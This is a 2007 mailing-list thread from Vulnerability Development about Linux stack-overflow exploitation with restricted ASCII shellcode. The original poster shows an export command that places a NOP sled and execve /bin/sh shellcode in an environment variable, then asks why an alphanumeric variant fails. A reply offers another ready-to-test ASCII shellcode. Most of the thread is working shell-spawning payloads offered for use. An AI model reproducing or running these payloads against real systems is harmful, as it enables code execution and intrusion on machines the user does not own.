Vulnerability Development mailing list archives

Re: Re: Linux restricted ASCII Shellcode


From: RaiSe <raise () enye-sec org>
Date: Mon, 23 Apr 2007 15:13:14 +0200 (CEST)

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Hi. Here you have 1 ascii shellcode more, try it:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "LLLLX3EX1EX1eX3eXjEX4EPh8eshXf5VJPheebiXf5JJPTYjYX4YPQTPUX3HX1HX1XX3XXZYJf1UVBj8X0EW432G"'`

It is very old, but you can test if it works.


- ---------------------------
 RaiSe - eNYe Sec
 http://www.enye-sec.org
- ---------------------------


On Thu, 19 Apr 2007, nonexistant () nospam org wrote:

I'm exploiting the stack overflow inserting the shellcode in a environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`

And then overwriting de RET address to point somewhere in the NOP section of "SHELLCODE". Pretty simple.
That works perfectly.

But if I try with this environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print 
"LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0TodjdY0LohfhmNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Dow0towjhXfRhnKshhBabivERSvT29"'`

This do not work. I have tryed with many different ASCII shellcodes all of them ripped from examples in C style.
What I'm doing wrong?
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